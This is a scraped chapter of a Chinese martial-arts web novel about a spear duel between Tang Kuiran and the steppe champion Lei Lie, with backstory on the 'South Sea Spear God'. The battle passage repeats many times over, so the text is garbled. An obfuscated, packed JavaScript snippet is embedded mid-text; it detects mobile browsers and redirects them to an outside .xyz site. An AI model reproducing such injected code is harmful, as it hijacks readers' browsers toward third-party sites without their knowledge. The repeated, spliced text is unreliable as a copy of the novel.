唐岿然手持铁枪,这是他找杨铁匠专门量身打造的,枪头乃是用寒铁千锤百炼而成,枪身同样是用金钢打造,共长九尺九寸,重三十三斤。 对面,耶律蓝图身后那名**男子也主动走了出来。 此人身形高大,浑身肌肉鼓起,相比起鹘颅的那一堆肉山,此人的身形无疑更具力量感。 只见他手持一杆**,那是草原部落最为常见的狼头枪。 “雷烈,不用留手,把他人头取来!”耶律蓝图沉声说道。 显然,刚才苍狼被射杀已经让他动怒,势必要让雷烈扳回一局,不仅要赢下比试的胜利,更要振奋军心。 当然,对于雷烈的实力,他一点不担心。 只因雷烈的枪术放眼整个草原部落,都是最顶尖的存在。 他的枪法仿佛专为**而生,一杆赤煞枪在他手中仿佛被赋予了生命一般,一招一式犀利而不失霸道。 三年前,胡羯各部落举办的穹庐争锋,各部落强者在云阙擂大显身手,雷烈便凭借手中狼头枪,挑翻各大部落所有强者,傲视群雄。 名为雷烈的男子点了点头,随即缓缓抬起手中**,遥指唐岿然,说道: “此枪名为赤煞,这些年来饮血无数,不知你的血能否让它喜欢!” 唐岿然也举起手中**,说道:“此枪名为霸王卸甲,我用它取你性命,是你的荣幸!” 残阳将武定关染成赤金,两骑卷起沙暴对冲而来。 唐岿然胯下白马如银箭破风奔向对方,枪尖低垂似倦鸟归林,一记起手式‘挑月痕’,疾刺而出。 雷烈身下黑驹怒嘶如雷,雪亮赤煞枪旋转刺出,正是草原枪术的搏命杀招,枪头铜环炸响似百狼嚎月。 双枪交击的刹那,唐岿然腕抖枪颤,使出一记‘缠云锁’,精钢枪身如灵蛇缠住狼牙枪棱刺,借马力猛绞。 雷烈只感觉一股巨力传来,险些将他掀飞马背。 马身交错间,雷烈暴吼跃起,反手一**向唐岿然的后背。 唐岿然头也没回,**撩至身后,精准将对方刺来这一枪荡开。 这一个回合的交锋,让雷烈神色微变,他没想到对方的枪术竟如此厉害,虽然刚才不过是试探居多,但在行家眼里,窥一斑可知全豹。 紧接着,二人调转马头再次杀向对方, 雷烈暴喝一声,手中赤煞接连刺出,刹那 间,漫天枪影携滚滚杀气朝着唐岿然席卷而去。 这一记逆浪七叠乃是雷烈的杀招之一,正是凭借这一招,不知道挑翻了多少枪术高手。 唐岿然冷哼一声,只见他手中**蓄力刺出,一记惊雷贯日。 “叮……” 一道金铁交鸣声将漫天枪影震碎,紧接着,唐岿然枪锋一转,以枪使棍,一记横扫千军,直袭其胸腹。 后者大惊,连忙将枪杆横于胸前抵挡。 又是一道金石撞击声,雷烈只感觉一股排山倒海般的力量席卷而来,手中**不断颤鸣,双手虎口更是直接裂开,不断淌血。 这一击之力更是震得他胯下战马都后退了两步。 就在此时,唐岿然从马背上一跃而起,如苍鹰攫兔,一**向雷烈。 一点寒芒先到,随后枪出如龙。 雷烈只感觉一股霸道杀机将自己锁定,他顾不得虎口刺痛,也顾不得狼狈形象,直接翻身**,以此避开这绝杀一枪。 雷烈也不愧为枪术高手,落地之后,趁着唐岿然一枪落空的空档,一记‘残星点月’直取唐岿然胸口。 唐岿然身在空中无法躲避,面对这刺来一枪,他双腿猛然将其夹住,随即身躯一扭,将其化解。 双方落地之后,不做任何停留,直接扑向对方。 顷刻间,场中枪影翻飞,金铁交鸣之声不绝于耳。 二人都是枪术中的佼佼者,这一番交手,更是精彩而激烈。 唐岿然的枪法大开大合,并没有那种刁招怪手,但只有真正练枪的人才知道,想要将这些平平无奇的招式练到这种地步,没有一二十年的刻苦练习是根本做不到的。 更何况,还要将这些所谓的‘死招’在对战中用活,那就更加考验悟性。 正所谓,年刀月剑一辈子的枪。 又云:剑在江湖得风流,刀在沙场饮饱血,枪在阵前定乾坤! 二人步战缠斗,沙尘随枪锋卷起。雷烈枪法愈狂,狼喉刺、暴沙旋、断骨挑三式连环,青铜枪环啸出摄魂魔音。 唐岿然却如礁石分浪,一记青龙探爪点破**,寒芒如闪电乍现,电光火石间挑开雷烈皮甲。 两人的身形分开,只见唐岿然护臂之上的铠甲散开,几块鳞片散落。 反观雷烈则是要凄惨得多,双臂止不住地颤抖,一双虎口更是裂开,特别是胸前、小腹和双肩的皮甲皆被刺穿,鲜血顺着流淌而出。 此刻,雷烈内心震惊到了极点,他简直不敢相信,自己苦练二十年的家传枪法,竟然被眼前之人击败。 于他而言,这不仅仅是打击,更是莫大的**。 忽然,他脑海中闪现出一个名字——孟星凡! “南海枪神是你什么人?”雷烈满脸震惊,沉声问道。 他久居草原,从未踏足过中原地带,之所以知道南海枪神的名字,那是因为,曾经,他那号称草原第一枪的父亲,败给了一位中原枪术高手。 那人便是南海枪神,孟星凡! 二十年前,草原涌现出一批枪术高手,于边境连杀周军将领,更是嘲笑号称枪法正宗的中原大地,竟然找不出一杆像样的枪。 所谓的枪法正宗不过是一个笑话,所有的枪都是银枪蜡头,中看不中用。 此番嘲讽,立马引起了中原江湖的震动,数日间,众多枪术高手背负**远走漠北边关,誓要为中原枪术正名。 不少枪术世家更是倾巢而动,赶赴北境边疆,要教训一下这些不知天高地厚的胡羯人。 然而,一番交手下来,中原败多胜少,很多枪术名宿更是血洒边关,枪折身死。 不少枪法高手也败下阵来,甚至付出了生命为代价。 间,漫天枪影携滚滚杀气朝着唐岿然席卷而去。 这一记逆浪七叠乃是雷烈的杀招之一,正是凭借这一招,不知道挑翻了多少枪术高手。 唐岿然冷哼一声,只见他手中**蓄力刺出,一记惊雷贯日。 “叮……” 一道金铁交鸣声将漫天枪影震碎,紧接着,唐岿然枪锋一转,以枪使棍,一记横扫千军,直袭其胸腹。 后者大惊,连忙将枪杆横于胸前抵挡。 又是一道金石撞击声,雷烈只感觉一股排山倒海般的力量席卷而来,手中**不断颤鸣,双手虎口更是直接裂开,不断淌血。 这一击之力更是震得他胯下战马都后退了两步。 就在此时,唐岿然从马背上一跃而起,如苍鹰攫兔,一**向雷烈。 一点寒芒先到,随后枪出如龙。 雷烈只感觉一股霸道杀机将自己锁定,他顾不得虎口刺痛,也顾不得狼狈形象,直接翻身**,以此避开这绝杀一枪。 雷烈也不愧为枪术高手,落地之后,趁着唐岿然一枪落空的空档,一记‘残星点月’直取唐岿然胸口。 唐岿然身在空中无法躲避,面对这刺来一枪,他双腿猛然将其夹住,随即身躯一扭,将其化解。 双方落地之后,不做任何停留,直接扑向对方。 顷刻间,场中枪影翻飞,金铁交鸣之声不绝于耳。 二人都是枪术中的佼佼者,这一番交手,更是精彩而激烈。 唐岿然的枪法大开大合,并没有那种刁招怪手,但只有真正练枪的人才知道,想要将这些平平无奇的招式练到这种地步,没有一二十年的刻苦练习是根本做不到的。 更何况,还要将这些所谓的‘死招’在对战中用活,那就更加考验悟性。 正所谓,年刀月剑一辈子的枪。 又云:剑在江湖得风流,刀在沙场饮饱血,枪在阵前定乾坤! 二人步战缠斗,沙尘随枪锋卷起。雷烈枪法愈狂,狼喉刺、暴沙旋、断骨挑三式连环,青铜枪环啸出摄魂魔音。 唐岿然却如礁石分浪,一记青龙探爪点破**,寒芒如闪电乍现,电光火石间挑开雷烈皮甲。 两人的身形分开,只见唐岿然护臂之上的铠甲散开,几块鳞片散落。 反观雷烈则是要凄惨得多,双臂止不住地颤抖,一双虎口更是裂开,特别是胸前、小腹和双肩的皮甲皆被刺穿,鲜血顺着流淌而出。 此刻,雷烈内心震惊到了极点,他简直不敢相信,自己苦练二十年的家传枪法,竟然被眼前之人击败。 于他而言,这不仅仅是打击,更是莫大的**。 忽然,他脑海中闪现出一个名字——孟星凡! “南海枪神是你什么人?”雷烈满脸震惊,沉声问道。 他久居草原,从未踏足过中原地带,之所以知道南海枪神的名字,那是因为,曾经,他那号称草原第一枪的父亲,败给了一位中原枪术高手。 那人便是南海枪神,孟星凡! 二十年前,草原涌现出一批枪术高手,于边境连杀周军将领,更是嘲笑号称枪法正宗的中原大地,竟然找不出一杆像样的枪。 所谓的枪法正宗不过是一个笑话,所有的枪都是银枪蜡头,中看不中用。 此番嘲讽,立马引起了中原江湖的震动,数日间,众多枪术高手背负**远走漠北边关,誓要为中原枪术正名。 不少枪术世家更是倾巢而动,赶赴北境边疆,要教训一下这些不知天高地厚的胡羯人。 然而,一番交手下来,中原败多胜少,很多枪术名宿更是血洒边关,枪折身死。 不少枪法高手也败下阵来,甚至付出了生命为代价。 间,漫天枪影携滚滚杀气朝着唐岿然席卷而去。 这一记逆浪七叠乃是雷烈的杀招之一,正是凭借这一招,不知道挑翻了多少枪术高手。 唐岿然冷哼一声,只见他手中**蓄力刺出,一记惊雷贯日。 “叮……” 一道金铁交鸣声将漫天枪影震碎,紧接着,唐岿然枪锋一转,以枪使棍,一记横扫千军,直袭其胸腹。 后者大惊,连忙将枪杆横于胸前抵挡。 又是一道金石撞击声,雷烈只感觉一股排山倒海般的力量席卷而来,手中**不断颤鸣,双手虎口更是直接裂开,不断淌血。 这一击之力更是震得他胯下战马都后退了两步。 就在此时,唐岿然从马背上一跃而起,如苍鹰攫兔,一**向雷烈。 一点寒芒先到,随后枪出如龙。 雷烈只感觉一股霸道杀机将自己锁定,他顾不得虎口刺痛,也顾不得狼狈形象,直接翻身**,以此避开这绝杀一枪。 雷烈也不愧为枪术高手,落地之后,趁着唐岿然一枪落空的空档,一记‘残星点月’直取唐岿然胸口。 唐岿然身在空中无法躲避,面对这刺来一枪,他双腿猛然将其夹住,随即身躯一扭,将其化解。 双方落地之后,不做任何停留,直接扑向对方。 顷刻间,场中枪影翻飞,金铁交鸣之声不绝于耳。 二人都是枪术中的佼佼者,这一番交手,更是精彩而激烈。 唐岿然的枪法大开大合,并没有那种刁招怪手,但只有真正练枪的人才知道,想要将这些平平无奇的招式练到这种地步,没有一二十年的刻苦练习是根本做不到的。 更何况,还要将这些所谓的‘死招’在对战中用活,那就更加考验悟性。 正所谓,年刀月剑一辈子的枪。 又云:剑在江湖得风流,刀在沙场饮饱血,枪在阵前定乾坤! 二人步战缠斗,沙尘随枪锋卷起。雷烈枪法愈狂,狼喉刺、暴沙旋、断骨挑三式连环,青铜枪环啸出摄魂魔音。 唐岿然却如礁石分浪,一记青龙探爪点破**,寒芒如闪电乍现,电光火石间挑开雷烈皮甲。 两人的身形分开,只见唐岿然护臂之上的铠甲散开,几块鳞片散落。 反观雷烈则是要凄惨得多,双臂止不住地颤抖,一双虎口更是裂开,特别是胸前、小腹和双肩的皮甲皆被刺穿,鲜血顺着流淌而出。 此刻,雷烈内心震惊到了极点,他简直不敢相信,自己苦练二十年的家传枪法,竟然被眼前之人击败。 于他而言,这不仅仅是打击,更是莫大的**。 忽然,他脑海中闪现出一个名字——孟星凡! “南海枪神是你什么人?”雷烈满脸震惊,沉声问道。 他久居草原,从未踏足过中原地带,之所以知道南海枪神的名字,那是因为,曾经,他那号称草原第一枪的父亲,败给了一位中原枪术高手。 那人便是南海枪神,孟星凡! 二十年前,草原涌现出一批枪术高手,于边境连杀周军将领,更是嘲笑号称枪法正宗的中原大地,竟然找不出一杆像样的枪。 所谓的枪法正宗不过是一个笑话,所有的枪都是银枪蜡头,中看不中用。 此番嘲讽,立马引起了中原江湖的震动,数日间,众多枪术高手背负**远走漠北边关,誓要为中原枪术正名。 不少枪术世家更是倾巢而动,赶赴北境边疆,要教训一下这些不知天高地厚的胡羯人。 然而,一番交手下来,中原败多胜少,很多枪术名宿更是血洒边关,枪折身死。 不少枪法高手也败下阵来,甚至付出了生命为代价。 间,漫天枪影携滚滚杀气朝着唐岿然席卷而去。 这一记逆浪七叠乃是雷烈的杀招之一,正是凭借这一招,不知道挑翻了多少枪术高手。 唐岿然冷哼一声,只见他手中**蓄力刺出,一记惊雷贯日。 “叮……” 一道金铁交鸣声将漫天枪影震碎,紧接着,唐岿然枪锋一转,以枪使棍,一记横扫千军,直袭其胸腹。 后者大惊,连忙将枪杆横于胸前抵挡。 又是一道金石撞击声,雷烈只感觉一股排山倒海般的力量席卷而来,手中**不断颤鸣,双手虎口更是直接裂开,不断淌血。 这一击之力更是震得他胯下战马都后退了两步。 就在此时,唐岿然从马背上一跃而起,如苍鹰攫兔,一**向雷烈。 一点寒芒先到,随后枪出如龙。 雷烈只感觉一股霸道杀机将自己锁定,他顾不得虎口刺痛,也顾不得狼狈形象,直接翻身**,以此避开这绝杀一枪。 雷烈也不愧为枪术高手,落地之后,趁着唐岿然一枪落空的空档,一记‘残星点月’直取唐岿然胸口。 唐岿然身在空中无法躲避,面对这刺来一枪,他双腿猛然将其夹住,随即身躯一扭,将其化解。 双方落地之后,不做任何停留,直接扑向对方。 顷刻间,场中枪影翻飞,金铁交鸣之声不绝于耳。 二人都是枪术中的佼佼者,这一番交手,更是精彩而激烈。 唐岿然的枪法大开大合,并没有那种刁招怪手,但只有真正练枪的人才知道,想要将这些平平无奇的招式练到这种地步,没有一二十年的刻苦练习是根本做不到的。 更何况,还要将这些所谓的‘死招’在对战中用活,那就更加考验悟性。 正所谓,年刀月剑一辈子的枪。 又云:剑在江湖得风流,刀在沙场饮饱血,枪在阵前定乾坤! 二人步战缠斗,沙尘随枪锋卷起。雷烈枪法愈狂,狼喉刺、暴沙旋、断骨挑三式连环,青铜枪环啸出摄魂魔音。 唐岿然却如礁石分浪,一记青龙探爪点破**,寒芒如闪电乍现,电光火石间挑开雷烈皮甲。 两人的身形分开,只见唐岿然护臂之上的铠甲散开,几块鳞片散落。 反观雷烈则是要凄惨得多,双臂止不住地颤抖,一双虎口更是裂开,特别是胸前、小腹和双肩的皮甲皆被刺穿,鲜血顺着流淌而出。 此刻,雷烈内心震惊到了极点,他简直不敢相信,自己苦练二十年的家传枪法,竟然被眼前之人击败。 于他而言,这不仅仅是打击,更是莫大的**。 忽然,他脑海中闪现出一个名字——孟星凡! “南海枪神是你什么人?”雷烈满脸震惊,沉声问道。 他久居草原,从未踏足过中原地带,之所以知道南海枪神的名字,那是因为,曾经,他那号称草原第一枪的父亲,败给了一位中原枪术高手。 那人便是南海枪神,孟星凡! 二十年前,草原涌现出一批枪术高手,于边境连杀周军将领,更是嘲笑号称枪法正宗的中原大地,竟然找不出一杆像样的枪。 所谓的枪法正宗不过是一个笑话,所有的枪都是银枪蜡头,中看不中用。 此番嘲讽,立马引起了中原江湖的震动,数日间,众多枪术高手背负**远走漠北边关,誓要为中原枪术正名。 不少枪术世家更是倾巢而动,赶赴北境边疆,要教训一下这些不知天高地厚的胡羯人。 然而,一番交手下来,中原败多胜少,很多枪术名宿更是血洒边关,枪折身死。 不少枪法高手也败下阵来,甚至付出了生命为代价。 间,漫天枪影携滚滚杀气朝着唐岿然席卷而去。 这一记逆浪七叠乃是雷烈的杀招之一,正是凭借这一招,不知道挑翻了多少枪术高手。 唐岿然冷哼一声,只见他手中**蓄力刺出,一记惊雷贯日。 “叮……” 一道金铁交鸣声将漫天枪影震碎,紧接着,唐岿然枪锋一转,以枪使棍,一记横扫千军,直袭其胸腹。 后者大惊,连忙将枪杆横于胸前抵挡。 又是一道金石撞击声,雷烈只感觉一股排山倒海般的力量席卷而来,手中**不断颤鸣,双手虎口更是直接裂开,不断淌血。 这一击之力更是震得他胯下战马都后退了两步。 就在此时,唐岿然从马背上一跃而起,如苍鹰攫兔,一**向雷烈。 一点寒芒先到,随后枪出如龙。 雷烈只感觉一股霸道杀机将自己锁定,他顾不得虎口刺痛,也顾不得狼狈形象,直接翻身**,以此避开这绝杀一枪。 雷烈也不愧为枪术高手,落地之后,趁着唐岿然一枪落空的空档,一记‘残星点月’直取唐岿然胸口。 唐岿然身在空中无法躲避,面对这刺来一枪,他双腿猛然将其夹住,随即身躯一扭,将其化解。 双方落地之后,不做任何停留,直接扑向对方。 顷刻间,场中枪影翻飞,金铁交鸣之声不绝于耳。 二人都是枪术中的佼佼者,这一番交手,更是精彩而激烈。 唐岿然的枪法大开大合,并没有那种刁招怪手,但只有真正练枪的人才知道,想要将这些平平无奇的招式练到这种地步,没有一二十年的刻苦练习是根本做不到的。 更何况,还要将这些所谓的‘死招’在对战中用活,那就更加考验悟性。 正所谓,年刀月剑一辈子的枪。 又云:剑在江湖得风流,刀在沙场饮饱血,枪在阵前定乾坤! 二人步战缠斗,沙尘随枪锋卷起。雷烈枪法愈狂,狼喉刺、暴沙旋、断骨挑三式连环,青铜枪环啸出摄魂魔音。 唐岿然却如礁石分浪,一记青龙探爪点破**,寒芒如闪电乍现,电光火石间挑开雷烈皮甲。 两人的身形分开,只见唐岿然护臂之上的铠甲散开,几块鳞片散落。 反观雷烈则是要凄惨得多,双臂止不住地颤抖,一双虎口更是裂开,特别是胸前、小腹和双肩的皮甲皆被刺穿,鲜血顺着流淌而出。 此刻,雷烈内心震惊到了极点,他简直不敢相信,自己苦练二十年的家传枪法,竟然被眼前之人击败。 于他而言,这不仅仅是打击,更是莫大的**。 忽然,他脑海中闪现出一个名字——孟星凡! “南海枪神是你什么人?”雷烈满脸震惊,沉声问道。 他久居草原,从未踏足过中原地带,之所以知道南海枪神的名字,那是因为,曾经,他那号称草原第一枪的父亲,败给了一位中原枪术高手。 那人便是南海枪神,孟星凡! 二十年前,草原涌现出一批枪术高手,于边境连杀周军将领,更是嘲笑号称枪法正宗的中原大地,竟然找不出一杆像样的枪。 所谓的枪法正宗不过是一个笑话,所有的枪都是银枪蜡头,中看不中用。 此番嘲讽,立马引起了中原江湖的震动,数日间,众多枪术高手背负**远走漠北边关,誓要为中原枪术正名。 不少枪术世家更是倾巢而动,赶赴北境边疆,要教训一下这些不知天高地厚的胡羯人。 然而,一番交手下来,中原败多胜少,很多枪术名宿更是血洒边关,枪折身死。 不少枪法高手也败下阵来,甚至付出了生命为代价。 间,漫天枪影携滚滚杀气朝着唐岿然席卷而去。 这一记逆浪七叠乃是雷烈的杀招之一,正是凭借这一招,不知道挑翻了多少枪术高手。 唐岿然冷哼一声,只见他手中**蓄力刺出,一记惊雷贯日。 “叮……” 一道金铁交鸣声将漫天枪影震碎,紧接着,唐岿然枪锋一转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15998694|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,以枪使棍,一记横扫千军,直袭其胸腹。 后者大惊,连忙将枪杆横于胸前抵挡。 又是一道金石撞击声,雷烈只感觉一股排山倒海般的力量席卷而来,手中**不断颤鸣,双手虎口更是直接裂开,不断淌血。 这一击之力更是震得他胯下战马都后退了两步。 就在此时,唐岿然从马背上一跃而起,如苍鹰攫兔,一**向雷烈。 一点寒芒先到,随后枪出如龙。 雷烈只感觉一股霸道杀机将自己锁定,他顾不得虎口刺痛,也顾不得狼狈形象,直接翻身**,以此避开这绝杀一枪。 雷烈也不愧为枪术高手,落地之后,趁着唐岿然一枪落空的空档,一记‘残星点月’直取唐岿然胸口。 唐岿然身在空中无法躲避,面对这刺来一枪,他双腿猛然将其夹住,随即身躯一扭,将其化解。 双方落地之后,不做任何停留,直接扑向对方。 顷刻间,场中枪影翻飞,金铁交鸣之声不绝于耳。 二人都是枪术中的佼佼者,这一番交手,更是精彩而激烈。 唐岿然的枪法大开大合,并没有那种刁招怪手,但只有真正练枪的人才知道,想要将这些平平无奇的招式练到这种地步,没有一二十年的刻苦练习是根本做不到的。 更何况,还要将这些所谓的‘死招’在对战中用活,那就更加考验悟性。 正所谓,年刀月剑一辈子的枪。 又云:剑在江湖得风流,刀在沙场饮饱血,枪在阵前定乾坤! 二人步战缠斗,沙尘随枪锋卷起。雷烈枪法愈狂,狼喉刺、暴沙旋、断骨挑三式连环,青铜枪环啸出摄魂魔音。 唐岿然却如礁石分浪,一记青龙探爪点破**,寒芒如闪电乍现,电光火石间挑开雷烈皮甲。 两人的身形分开,只见唐岿然护臂之上的铠甲散开,几块鳞片散落。 反观雷烈则是要凄惨得多,双臂止不住地颤抖,一双虎口更是裂开,特别是胸前、小腹和双肩的皮甲皆被刺穿,鲜血顺着流淌而出。 此刻,雷烈内心震惊到了极点,他简直不敢相信,自己苦练二十年的家传枪法,竟然被眼前之人击败。 于他而言,这不仅仅是打击,更是莫大的**。 忽然,他脑海中闪现出一个名字——孟星凡! “南海枪神是你什么人?”雷烈满脸震惊,沉声问道。 他久居草原,从未踏足过中原地带,之所以知道南海枪神的名字,那是因为,曾经,他那号称草原第一枪的父亲,败给了一位中原枪术高手。 那人便是南海枪神,孟星凡! 二十年前,草原涌现出一批枪术高手,于边境连杀周军将领,更是嘲笑号称枪法正宗的中原大地,竟然找不出一杆像样的枪。 所谓的枪法正宗不过是一个笑话,所有的枪都是银枪蜡头,中看不中用。 此番嘲讽,立马引起了中原江湖的震动,数日间,众多枪术高手背负**远走漠北边关,誓要为中原枪术正名。 不少枪术世家更是倾巢而动,赶赴北境边疆,要教训一下这些不知天高地厚的胡羯人。 然而,一番交手下来,中原败多胜少,很多枪术名宿更是血洒边关,枪折身死。 不少枪法高手也败下阵来,甚至付出了生命为代价。 间,漫天枪影携滚滚杀气朝着唐岿然席卷而去。 这一记逆浪七叠乃是雷烈的杀招之一,正是凭借这一招,不知道挑翻了多少枪术高手。 唐岿然冷哼一声,只见他手中**蓄力刺出,一记惊雷贯日。 “叮……” 一道金铁交鸣声将漫天枪影震碎,紧接着,唐岿然枪锋一转,以枪使棍,一记横扫千军,直袭其胸腹。 后者大惊,连忙将枪杆横于胸前抵挡。 又是一道金石撞击声,雷烈只感觉一股排山倒海般的力量席卷而来,手中**不断颤鸣,双手虎口更是直接裂开,不断淌血。 这一击之力更是震得他胯下战马都后退了两步。 就在此时,唐岿然从马背上一跃而起,如苍鹰攫兔,一**向雷烈。 一点寒芒先到,随后枪出如龙。 雷烈只感觉一股霸道杀机将自己锁定,他顾不得虎口刺痛,也顾不得狼狈形象,直接翻身**,以此避开这绝杀一枪。 雷烈也不愧为枪术高手,落地之后,趁着唐岿然一枪落空的空档,一记‘残星点月’直取唐岿然胸口。 唐岿然身在空中无法躲避,面对这刺来一枪,他双腿猛然将其夹住,随即身躯一扭,将其化解。 双方落地之后,不做任何停留,直接扑向对方。 顷刻间,场中枪影翻飞,金铁交鸣之声不绝于耳。 二人都是枪术中的佼佼者,这一番交手,更是精彩而激烈。 唐岿然的枪法大开大合,并没有那种刁招怪手,但只有真正练枪的人才知道,想要将这些平平无奇的招式练到这种地步,没有一二十年的刻苦练习是根本做不到的。 更何况,还要将这些所谓的‘死招’在对战中用活,那就更加考验悟性。 正所谓,年刀月剑一辈子的枪。 又云:剑在江湖得风流,刀在沙场饮饱血,枪在阵前定乾坤! 二人步战缠斗,沙尘随枪锋卷起。雷烈枪法愈狂,狼喉刺、暴沙旋、断骨挑三式连环,青铜枪环啸出摄魂魔音。 唐岿然却如礁石分浪,一记青龙探爪点破**,寒芒如闪电乍现,电光火石间挑开雷烈皮甲。 两人的身形分开,只见唐岿然护臂之上的铠甲散开,几块鳞片散落。 反观雷烈则是要凄惨得多,双臂止不住地颤抖,一双虎口更是裂开,特别是胸前、小腹和双肩的皮甲皆被刺穿,鲜血顺着流淌而出。 此刻,雷烈内心震惊到了极点,他简直不敢相信,自己苦练二十年的家传枪法,竟然被眼前之人击败。 于他而言,这不仅仅是打击,更是莫大的**。 忽然,他脑海中闪现出一个名字——孟星凡! “南海枪神是你什么人?”雷烈满脸震惊,沉声问道。 他久居草原,从未踏足过中原地带,之所以知道南海枪神的名字,那是因为,曾经,他那号称草原第一枪的父亲,败给了一位中原枪术高手。 那人便是南海枪神,孟星凡! 二十年前,草原涌现出一批枪术高手,于边境连杀周军将领,更是嘲笑号称枪法正宗的中原大地,竟然找不出一杆像样的枪。 所谓的枪法正宗不过是一个笑话,所有的枪都是银枪蜡头,中看不中用。 此番嘲讽,立马引起了中原江湖的震动,数日间,众多枪术高手背负**远走漠北边关,誓要为中原枪术正名。 不少枪术世家更是倾巢而动,赶赴北境边疆,要教训一下这些不知天高地厚的胡羯人。 然而,一番交手下来,中原败多胜少,很多枪术名宿更是血洒边关,枪折身死。 不少枪法高手也败下阵来,甚至付出了生命为代价。 间,漫天枪影携滚滚杀气朝着唐岿然席卷而去。 这一记逆浪七叠乃是雷烈的杀招之一,正是凭借这一招,不知道挑翻了多少枪术高手。 唐岿然冷哼一声,只见他手中**蓄力刺出,一记惊雷贯日。 “叮……” 一道金铁交鸣声将漫天枪影震碎,紧接着,唐岿然枪锋一转,以枪使棍,一记横扫千军,直袭其胸腹。 后者大惊,连忙将枪杆横于胸前抵挡。 又是一道金石撞击声,雷烈只感觉一股排山倒海般的力量席卷而来,手中**不断颤鸣,双手虎口更是直接裂开,不断淌血。 这一击之力更是震得他胯下战马都后退了两步。 就在此时,唐岿然从马背上一跃而起,如苍鹰攫兔,一**向雷烈。 一点寒芒先到,随后枪出如龙。 雷烈只感觉一股霸道杀机将自己锁定,他顾不得虎口刺痛,也顾不得狼狈形象,直接翻身**,以此避开这绝杀一枪。 雷烈也不愧为枪术高手,落地之后,趁着唐岿然一枪落空的空档,一记‘残星点月’直取唐岿然胸口。 唐岿然身在空中无法躲避,面对这刺来一枪,他双腿猛然将其夹住,随即身躯一扭,将其化解。 双方落地之后,不做任何停留,直接扑向对方。 顷刻间,场中枪影翻飞,金铁交鸣之声不绝于耳。 二人都是枪术中的佼佼者,这一番交手,更是精彩而激烈。 唐岿然的枪法大开大合,并没有那种刁招怪手,但只有真正练枪的人才知道,想要将这些平平无奇的招式练到这种地步,没有一二十年的刻苦练习是根本做不到的。 更何况,还要将这些所谓的‘死招’在对战中用活,那就更加考验悟性。 正所谓,年刀月剑一辈子的枪。 又云:剑在江湖得风流,刀在沙场饮饱血,枪在阵前定乾坤! 二人步战缠斗,沙尘随枪锋卷起。雷烈枪法愈狂,狼喉刺、暴沙旋、断骨挑三式连环,青铜枪环啸出摄魂魔音。 唐岿然却如礁石分浪,一记青龙探爪点破**,寒芒如闪电乍现,电光火石间挑开雷烈皮甲。 两人的身形分开,只见唐岿然护臂之上的铠甲散开,几块鳞片散落。 反观雷烈则是要凄惨得多,双臂止不住地颤抖,一双虎口更是裂开,特别是胸前、小腹和双肩的皮甲皆被刺穿,鲜血顺着流淌而出。 此刻,雷烈内心震惊到了极点,他简直不敢相信,自己苦练二十年的家传枪法,竟然被眼前之人击败。 于他而言,这不仅仅是打击,更是莫大的**。 忽然,他脑海中闪现出一个名字——孟星凡! “南海枪神是你什么人?”雷烈满脸震惊,沉声问道。 他久居草原,从未踏足过中原地带,之所以知道南海枪神的名字,那是因为,曾经,他那号称草原第一枪的父亲,败给了一位中原枪术高手。 那人便是南海枪神,孟星凡! 二十年前,草原涌现出一批枪术高手,于边境连杀周军将领,更是嘲笑号称枪法正宗的中原大地,竟然找不出一杆像样的枪。 所谓的枪法正宗不过是一个笑话,所有的枪都是银枪蜡头,中看不中用。 此番嘲讽,立马引起了中原江湖的震动,数日间,众多枪术高手背负**远走漠北边关,誓要为中原枪术正名。 不少枪术世家更是倾巢而动,赶赴北境边疆,要教训一下这些不知天高地厚的胡羯人。 然而,一番交手下来,中原败多胜少,很多枪术名宿更是血洒边关,枪折身死。 不少枪法高手也败下阵来,甚至付出了生命为代价。 第163章 一枪贯喉! 这无疑是助长了胡羯人的气焰,嘲讽得更加肆无忌惮。 中原一众高手基本都在边关,可奈何实在是打不过人家,只能忍气吞声。 倒不是他们不够强,而是胡羯出了一位枪术天才,不仅实力恐怖绝伦,招式更是狠辣无比,与他交手的枪法高手非死即残。 就在此时,一名白衣男子手持一杆银枪,自南海出发,历经一个月才赶赴北疆。 他单枪匹马赶到边境,喊话胡羯人,‘南海孟星凡,前来为中原枪术正名!’ 那一日,他单枪匹马,接连挑翻胡羯十二名枪法高手,而且,每次都只用了一枪,令中原士气大振。 然而,胡羯人却不服气,说道,他们真正的枪术高手已经返回草原,孟星凡若真想为中原枪法正名,除非去草原击败他们。 本以为,这件事情就此告一段落,毕竟单枪匹马深入草原太危险了,胡羯人完全可以出动军队围剿他。 然而,令所有**跌眼镜的是,孟星凡竟然真的去了,单枪匹马一路杀到天汗城。 他一路上遇到不少拦截者,但大多数都被其一枪挑杀,能接他三枪而不死的,屈指可数。 最后一战,便是遇到了雷烈的父亲,两人在天汗城外展开激烈厮杀,那一战堪称是惊天动地,后世将这一战称之为百年来枪术的巅峰对决。 最终,那位草原第一枪被孟星凡一枪封喉,死在了他最引以为傲的枪术领域。 孟星凡也在那一战中受伤不轻,此后,胡羯更是毫无意外地派出数支军队对其展开追杀围剿,可最终都被其逃脱。 孟星凡最终安全回到关内,此后更是隐居南海,不问世事,有人说他在那一战中身受重伤留下暗疾,也有人说那一战让他枪术大成臻至化境,世间再无值得他出枪的高手。 但,他从此江湖上却多了一个外号——南海枪神! 孟星凡一人一枪,不仅为中原枪法正了名,更是挑断了草原枪术领域的脊梁骨。 此战之后,草原上很多年都没有出现过一位枪术高手,更无人敢像当年那般到边关挑衅。 尽管时隔二十年,南海枪神再也没有出现在江湖上,可他的名声与地位却不减反增。 只因近些年,他收了几名弟子,有的纵横江湖惩恶扬善,有的投身军伍杀敌报国。 唐岿然便是其中之一。 “那是家师!” 唐岿然没有隐瞒,事实上,他也看出了雷烈的路数,正是师父提到过他当年在草原遇到那位劲敌的枪法招式 。 雷烈父亲去世的时候,他才六岁,那正是在那一年他开始学枪,他苦练家传枪术,更是各方拜访名师,只因他心里只有一个执念。 那就是胡羯铁骑踏平北疆边关的时候,他将亲赴南海,用手中**为父亲报仇雪恨。 